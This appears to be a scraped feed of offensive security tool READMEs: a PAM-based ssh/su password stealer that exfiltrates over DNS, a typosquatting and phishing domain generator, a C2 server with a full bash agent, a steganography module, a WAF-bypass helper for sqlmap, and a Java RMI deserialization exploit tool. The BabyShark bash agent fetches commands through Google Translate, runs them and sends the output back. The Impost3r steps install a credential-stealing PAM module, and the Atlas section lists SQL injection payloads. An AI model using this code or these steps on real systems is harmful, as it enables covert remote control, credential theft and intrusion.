  • Enter /etc/pam.d, and then there are two cases. If the selected mode is to steal only the ssh password, then you need to execute vi sshd and add at the following statement at the end of the file.
auth optional impost3r.so
account optional impost3r.so
  • Save and exit, restart the sshd service service sshd restart
  • But if you choose to steal the ssh and su passwords together, you need to execute vi common-auth, add the same statement, save and exit and restart the sshd service
  • Attacker starts the dns server program on his server, waiting for a legitimate user to log on the target server via ssh or use su to switch users to get the passwords.

Demo


Tips

  • In the case of stealing the ssh/su password, Impost3r cannot clear the traces due to permission reasons, so the attacker needs to clear them himself
  • Please note that if you set to steal only ssh passwords, you can be guaranteed that you will receive the stolen results nearly 100 percent, but if you set to steal both, you will not be guaranteed that you will receive the results 100 percent. (Choose to save result locally won't have this problem,Only dns will)
  • It is not recommended to steal the su password since the user's ssh password is the same as the su password.It's pretty enough to have ssh password i think.

Attention

  • The Dns server progran I use is Fdns,and I change some params,you can find the changed source code under the Fdns folder,and use gcc -o dns main.c util.c to compile it by yourself.And actually you can use any kinds of dns server,but the dns server you use must can make a dns response to client instead of just recording dns request(You also need recording dns request,or you will lose the stealing result).
  • This porject is coding just for fun , the logic structure and code structure are not strict enough, please don't be so serious about it,and also welcome suggestions and prs.

Thanks




URLCrazy - Generate And Test Domain Typos And Variations To Detect And Perform Typo Squatting, URL Hijacking, Phishing, And Corporate Espionage

$
0
0

URLCrazy is an OSINT tool to generate and test domain typos or variations to detect or perform typo squatting, URL hijacking, phishing, and corporate espionage.
Homepage: https://www.morningstarsecurity.com/research/urlcrazy

Use Cases
  • Detect typo squatters profiting from typos on your domain name
  • Protect your brand by registering popular typos
  • Identify typo domain names that will receive traffic intended for another domain
  • Conduct phishing attacks during a penetration test

Features
  • Generates 15 types of domain variants
  • Knows over 8000 common misspellings
  • Supports bit flipping attacks
  • Multiple keyboard layouts (qwerty, azerty, qwertz, dvorak)
  • Checks if a domain variant is valid
  • Test if domain variants are in use
  • Estimate popularity of a domain variant

Installation

Install from a package manager
If you are using Kali Linux, Ubuntu or Debian use:
$ sudo apt install urlcrazy

Install latest release
Visit https://github.com/urbanadventurer/urlcrazy/releases

Install current development version
Be aware the latest development version may not be stable.
$ git clone https://github.com/urbanadventurer/urlcrazy.git

Install Ruby
URLCrazy has been tested with Ruby versions 2.4 and 2.6.
If you are using Ubuntu or Debian use:
$ sudo apt install ruby

Install Bundler
Bundler provides dependecy management for Ruby projects
$ gem install bundler

Install Dependencies
$ bundle install
Alternatively, if you don't want to install bundler, the following command will install the gem dependencies.
$ gem install json colorize async async-dns async-http

Usage


Simple Usage
With default options, URLCrazy will check over 2000 typo variants for google.com.
$ urlcrazy google.com


With popularity estimate
$ urlcrazy -p domain.com

Commandline Usage
Usage: ./urlcrazy [options] domain

Options
-k, --keyboard=LAYOUT Options are: qwerty, azerty, qwertz, dvorak (default: qwerty)
-p, --popularity Check domain popularity with Google
-r, --no-resolve Do not resolve DNS
-i, --show-invalid Show invalid domain names
-f, --format=TYPE Human readable or CSV (default: human readable)
-o, --output=FILE Output file
-n, --nocolor Disable colour
-h, --help This help
-v, --version Print version information. This version is 0.7

Types of Domain Variations Supported

Character Omission
These typos are created by leaving out a letter of the domain name, one letter at a time. For example, www.goole.com and www.gogle.com

Character Repeat
These typos are created by repeating a letter of the domain name. For example, www.ggoogle.com and www.gooogle.com

Adjacent Character Swap
These typos are created by swapping the order of adjacent letters in the domain name. For example, www.googel.com and www.ogogle.com

Adjacent Character Replacement
These typos are created by replacing each letter of the domain name with letters to the immediate left and right on the keyboard. For example, www.googke.com and www.goohle.com

Double Character Replacement
These typos are created by replacing identical, consecutive letters of the domain name with letters to the immediate left and right on the keyboard. For example, www.gppgle.com and www.giigle.com

Adjacent Character Insertion
These typos are created by inserting letters to the immediate left and right on the keyboard of each letter. For example, www.googhle.com and www.goopgle.com

Missing Dot
These typos are created by omitting a dot from the domainname. For example, wwwgoogle.com and www.googlecom

Strip Dashes
These typos are created by omitting a dash from the domainname. For example, www.domain-name.com becomes www.domainname.com

Singular or Pluralise
These typos are created by making a singular domain plural and vice versa. For example, www.google.com becomes www.googles.com and www.games.co.nz becomes www.game.co.nz

Common Misspellings
Over 8000 common misspellings from Wikipedia. For example, www.youtube.com becomes www.youtub.com and www.abseil.com becomes www.absail.com

Vowel Swapping
Swap vowels within the domain name except for the first letter. For example, www.google.com becomes www.gaagle.com.

Homophones
Over 450 sets of words that sound the same when spoken. For example, www.base.com becomes www.bass.com.

Bit Flipping
Each letter in a domain name is an 8bit character. The character is substituted with the set of valid characters that can be made after a single bit flip. For example, facebook.com becomes bacebook.com, dacebook.com, faaebook.com,fabebook.com,facabook.com, etc.

Homoglyphs
One or more characters that look similar to another character but are different are called homogylphs. An example is that the lower case l looks similar to the numeral one, e.g. l vs 1. For example, google.com becomes goog1e.com.

Wrong Top Level Domain
For example, www.trademe.co.nz becomes www.trademe.co.nz and www.google.com becomes www.google.org Uses the 19 most common top level domains.

Wrong Second Level Domain
Uses an alternate, valid second level domain for the top level domain. For example, www.trademe.co.nz becomes www.trademe.ac.nz and www.trademe.iwi.nz

Supported Keyboard Layouts
Keyboard layouts supported are:
  • QWERTY
  • AZERTY
  • QWERTZ
  • DVORAK

Is the domain valid?
URLCrazy has a database of valid top level and second level domains. This information has been compiled from Wikipedia and domain registrars. We know whether a domain is valid by checking if it matches top level and second level domains. For example, www.trademe.co.bz is a valid domain in Belize which allows any second level domain registrations but www.trademe.xo.nz isn't because xo.nz isn't an allowed second level domain in New Zealand.

Popularity Estimate
URLCrazy pioneered the technique of estimating the relative popularity of a typo from search engine results data. By measuring how many times a typo appears in webpages, we can estimate how popular that typo will be made when users type in a URL.
The inherent limitation of this technique, is that a typo for one domain, can be a legitimate domain in its own right. For example, googles.com is a typo of google.com but it also a legitimate domain.
For example, consider the following typos for google.com.
Count.Typo
25424gogle.com
24031googel.com
22490gooogle.com
19172googles.com
19148goole.com
18855googl.com
17842ggoogle.com

Known Issues

Macos File Descriptor Limit
If DNS resolution fails under Macos it could be due to the small default file descriptor limit.
To display the current file descriptor limit use:
$ ulimit -a
To increase the file descriptor limit use:
$ ulimit -n 10000

URLCrazy Appearances

Kali Linux
URLCrazy was a default tool in BackTrack 5, and later Kali Linux. https://tools.kali.org/information-gathering/urlcrazy

The Browser Hacker's Handbook
Authored by Wade Alcorn, Christian Frichot, and Michele Orru.
URLCrazy is included in Chapter 2 of this seminal work on the topic.

PTES Technical Guidelines
Penetration Testing Execution Standard (PTES) is a standard designed to provide a common language and scope for performing penetration testing (i.e. Security evaluations). URLCrazy is included in the Tools Required section.
http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines

Network Security Toolkit
Network Security Toolkit is a bootable Linux distribution designed to provide easy access to best-of-breed Open Source Network Security Applications. https://www.networksecuritytoolkit.org/

See Also
URLCrazy was first published in 2009, and for many years was the most advanced opensource tool for studying typosquatting. Since then multiple other tools have been developed by the infosec community.

DNSTwist
DNSTwist is developed by Marcin Ulikowski and first published in 2015. DNSTwist had a significant feature overlap with URLCrazy at the time, and introduced many new features.
Language: Python
https://github.com/elceef/dnstwist

URLInsane
URLInsane was developed by Rangertaha in 2018 and claims to match the features of URLCrazy and DNSTwist.
Language: Go
https://github.com/cybint/urlinsane

DomainFuzz
DomainFuzz was developed by monkeym4sterin 2017. Language: Node.JS
https://github.com/monkeym4ster/DomainFuzz

Authors and Acknowledgement
  • Authored by Andrew Horton (urbanadventurer).
  • Thanks to Ruby on Rails for Inflector which allows plural and singular permutations.
  • Thanks to Wikipedia for the set of common misspellings, homophones, and homoglyphs.
  • Thanks to software77.net for their IP to country database

Community
If you have any questions, comments or concerns regarding URLCrazy, please consult the documentation prior to contacting one of the developers. Your feedback is always welcome.


BabyShark - Basic C2 Server

$
0
0

This is a basic C2 generic server written in Python and Flask.
This code has based ideia to GTRS, which uses Google Translator as a proxy for sending commands to the infected host. The BabyShark project aims to centralize reverse connections with agents, creating a way to centralize several types of connections in one place.
BabyShark does not generate infection agents, but it does offer a template to connect to it.

INSTALL
git clone https://github.com/danilovazb/BabyShark/
cd BabyShark
mkdir database
sqlite3 database/c2.db < schema.sql

AGENTS MODEL

GTRS - https://github.com/mthbernardes/GTRS
This client example from GTRS for connect to BabyShark:
#!/bin/bash

if [[ $# < 2 ]];then
echo -e "Error\nExecute: $0 www.c2server.com secretkey-provided-by-the-server\n"
exit
fi

running=true
secretkey="b4bysh4rk"
user_agent="User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
data="Content-Hype: "
c2server="http://babyshark/momyshark?key=$secretkey"
result=""
input="/tmp/input"
output="/tmp/output"

function namedpipe(){
rm "$input" "$output"
mkfifo "$input"
tail -f "$input" | /bin/bash 2>&1 > $output &
}

function getfirsturl(){
url="https://translate.google.com/translate?&anno=2&u=$c2server"
first=$(curl --silent "$url" -H "$user_agent" | xmllint --html --xpath '//iframe/@src' - 2>/dev/null | cut -d "=" -f2- | tr -d '"' | sed ' s/amp;//g' )
}

function getsecondurl(){
second=$(curl --silent -L "$first" -H "$user_agent" | xmllint --html --xpath '//a/@href' - 2>/dev/null | cut -d "=" -f2- | tr -d '"' | sed 's/amp;//g')
}

function getcommand(){
if [[ "$result" ]];then
command=$(curl --silent $second -H "$result" )
else
command=$(curl --silent $second -H "$user_agent" )

command1=$(echo "$command" | xmllint --html --xpath '//span[@class="google-src-text"]/text()' - 2>/dev/null)
command2=$(echo "$command" | xmllint --html --xpath '/html/body/main/div/div/div/div/ul/li/span/text()' - 2>/dev/null )
if [[ "$command1" ]];then
command="$command1"
else
command="$command2"
fi
fi
}

function talktotranslate(){
getfirsturl
getsecondurl
getcommand
}

function main(){
result=""
sleep 10
talktotranslate
if [[ "$command " ]];then
if [[ "$command" == "exit" ]];then
running=false
fi
echo $command
echo -n > $output
idcommand=$(echo $command | cut -d '#' -f2)
echo "$command" > "$input"
sleep 2
outputb64=$(cat $output | tr -d '\000' | base64 | tr -d '\n' 2>/dev/null)
if [[ "$outputb64" ]];then
result="$user_agent | $outputb64 | $idcommand "
talktotranslate
fi
fi
}

namedpipe
while "$running";do
main
done


NEXT STEPS
  • SSH Reverse
  • DNS
  • DOH
  • HTTPS
  • HTTP3
  • ICMP
  • QUIC


Stegcloak - Hide Secrets With Invisible Characters In Plain Text Securely Using Passwords

$
0
0

StegCloak is a pure JavaScript steganography module designed in functional programming style, to hide secrets inside text by compressing and encrypting with Zero Width Characters. It can be used to safely watermark strings, invisible scripts on webpages, texts on social media or for any other covert communication. Completely invisible!. See how it works in-depth here

Features
  • Protect your invisible secret using passwords and HMAC integrity
  • Cryptographically secure by encrypting the invisible secret using AES-256-CTR.
  • Uses 7 Invisible characters in unicode characters that works everywhere in the web.
    Including the most important ones Tweets, Gmail, Whatsapp, Telegram, Instagram, Facebook etc.
  • Maximum Compression to reduce the payload (LZ, Huffman).
  • Completely invisible, uses Zero Width Characters instead of white spaces or tabs.
  • Super fast! Hides the Wikipedia page-source for steganography (800 lines and 205362 characters) within a covertext of 3 words in under one second.
  • Written in pure functional style.
  • Usage - Available as an API module, a CLI and also a Web Interface (optimized with web workers).

Installing
Using npm,
$ npm install -g stegcloak
Using npm (to use it locally in your program),
$ npm install stegcloak

How it works


CLI Usage

Hide
$ stegcloak hide
Options:
  hide [options] [secret] [cover]

-f, --file <file> Extract input from file
-n, --nocrypt If you don't need encryption (default: false)
-i, --integrity If additional security of preventing tampering is needed (default: false)
-o, --output <output> Stream the results to an output file
-h, --help display help for command

Reveal
$ stegcloak reveal       
Options:
  reveal [data]

-f, --file <file> Extract input from file
-cp, --clip Copy Data directly from clipboard
-o, --output <output> Stream the secret to an output file
-h, --help display help for command

API Usage
const StegCloak = require('stegcloak');

const stegcloak = new StegCloak(true, false); // Initializes with encryption true and hmac false for hiding

// These arguments are used only during hide

// Can be changed later by switching boolean flags for stegcloak.encrypt and stegcloak.integrity

What's HMAC and do I need it?
HMAC is an additional fingerprint security step taken towards tampering of texts and to verify if the message received was actually sent by the intended sender. If the data is sent through WhatsApp, Messenger or any social media platform, this is already taken care of! However, if you are using StegCloak in your program to safely transmit and retrieve, this option can be enabled and StegCloak takes care of it.

Hide

stegcloak.hide(secret,password,cover) -> string
const magic = stegcloak.hide("Voldemort is back", "mischief managed", "The WiFi's not working here!");

// Uses stegcloak.encrypt and stegcloak.integrity booleans for obfuscation

console.log(magic); // The WiFi's not working here!

Reveal

stegcloak.reveal(data, password) -> string
const secret = stegcloak.reveal(magic, "mischief managed");

// Automatically detects if encryption or integrity checks were done during hide and acts accordingly

console.log(secret); // Voldemort is back

Important
Stegcloak does'nt solve the alice-bob-warden problem, its powerful only when people are not looking for it and it helps you to achieve that really well given its invisible properties around the web! It could be safely used for watermarking in forums, invisible tweets,irc chats,social media etc. Please don't use it when you know there's someone who is actively sniffing your data looking at the unicode characters through a data analysis tool, in that case even though the secret encoded cannot be deciphered the fact lies that the warden ( Middle-man ) now knows some secret communication took place, cause he would have noticed an unusual amount of special invisible characters.

Resources
The following papers were referred to for insight and understanding of using Zero Width Characters in steganography.
  • Milad Taleby Ahvanooey, Qianmu Li , Jun Hou, Ahmed Raza Rajput and Chen Yini
Modern Text Hiding, Text Steganalysis, and Applications: A Comparative Analysis
  • Taleby Ahvanooey, Milad & Li, Qianmu & Hou, Jun & Dana Mazraeh, Hassan & Zhang, Jing.
AITSteg: An Innovative Text Steganography Technique for Hidden Transmission of Text Message via Social Media.
IEEE Access

Acknowledgements
The StegCloak logo was designed by Smashicons.


Atlas - Quick SQLMap Tamper Suggester

$
0
0

Atlas is an open source tool that can suggest sqlmap tampers to bypass WAF/IDS/IPS, the tool is based on returned status code.

Screen


Installation
$ git clone https://github.com/m4ll0k/Atlas.git atlas
$ cd atlas
$ python atlas.py # python3+

Usage
$ python atlas.py --url http://site.com/index.php?id=Price_ASC --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v
injection point (with %%inject%%):
get:
$ python atlas.py --url http://site.com/index/id/%%10%% --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v
post:
$ python atlas.py --url http://site.com/index/id/ -m POST -D 'test=%%10%%' --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v
headers:
$ python atlas.py --url http://site.com/index/id/ -H 'User-Agent: mozilla/5.0%%inject%%' -H 'X-header: test' --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v
tampers concatenation:
$ python atlas.py --url http://site.com/index/id/%%10%% --payload="-1234 AND 4321=4321-- AAAA" --concat "equaltolike,htmlencode" --random-agent -v
get tampers list:
$ python atlas.py -g

Example
  1. Run SQLMap:
$ python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3


Price_ASC') AND 8716=4837 AND ('yajr'='yajr is blocked by WAF/IDS/IPS, now trying with Atlas:
$ python atlas.py --url 'http://site.com/index.php?id=Price_ASC' --payload="') AND 8716=4837 AND ('yajr'='yajr" --random-agent -v


At this point:
$ python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3 --tamper=versionedkeywords,...


RMIScout - Wordlist And Bruteforce Strategies To Enumerate Java RMI Functions And Exploit RMI Parameter Unmarshalling Vulnerabilities

$
0
0

RMIScout performs wordlist and bruteforce attacks against exposed Java RMI interfaces to safely guess method signatures without invocation.
On misconfigured servers, any known RMI signature using non-primitive types (e.g., java.lang.String), can be exploited by replacing the object with a serialized payload. This is a fairly common misconfiguration (e.g., VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server and Gemfire, Apache Karaf + Cassandra) as highlighted in An Trinh's 2019 Blackhat EU talk.
RMIScout integrates with ysoserial and GadgetProbe to perform deserialization attacks against services incorrectly configuring process-wide serialization filters (JEP 290).


Motivation
I wanted a tool to do the following tasks:
  1. Provide wordlist and text-based bruteforce strategies instead of bruteforcing a 64-bit method hash.
  2. Identify RMI methods without invoking them.
  3. Provide a simple way to exploit the known issue of unsafe RMI parameter unmarshalling and integrate with ysoserial or payloads implementing ysoserial.payloads.ObjectPayload.
  4. Integrate GadgetProbe to identify remote classes to help identify relevant software and construct gadget chains.
To start off your search, the included lists/prototypes.txt wordlist is a deduplicated wordlist from 15,000 RMI prototypes found in OSS projects across GitHub. Feel free to submit a PR to include more :)

How it works
To identify but not execute RMI functions, RMIScout uses low-level RMI network functions and dynamic class generation to send RMI invocations with deliberately mismatched types to trigger remote exceptions. All parameters are substituted for a dynamically generated serializable class with a 255-character name assumed to not exist in the remote class path. For example:
Remote Interface:
void login(String user, String password)
RMIScout will invoke:
login((String) new QQkzkn3..255 chars..(), (String) new QQkzkn3..255 chars..())
If the class is present this will result in a remote java.rmi.UnmarshalException cased by the ClassNotFoundException or argument unmarshalling error without invoking the underlying method.
Read a full technical writeup here.

Usage
# Perform wordlist-attack against remote RMI service using wordlist of function prototypes
./rmiscout.sh wordlist -i prototypes.txt <host> <port>

# Bruteforce using method wordlist and other options
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>

# Swap object-derived types with the specified ysoserial payload and payload parameter
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>

# Use GadgetProbe and a known signature to bruteforce classes on the remote classpath
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborato r.net" -n registryName <host> <port>

Building and Running
Use the included rmiscout.sh script to automatically build the project and as a convenient wrapper around java -jar syntax:
./rmiscout.sh wordlist -i prototypes.txt <host> <port>
Alternatively, build the project manually and use traditional java -jar syntax:
# Manually build JAR
./gradlew shadowJar

java -jar build/libs/rmiscout-1.0-SNAPSHOT-all.jar wordlist -i prototypes.txt <host> <port>

Try It out
Run the demo RMI server. Try out the included demo/wordlist.txt.
cd demo
./start.sh

Author
Twitter: @BumbleSec
GitHub: the-bumble


Viewing all 5816 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>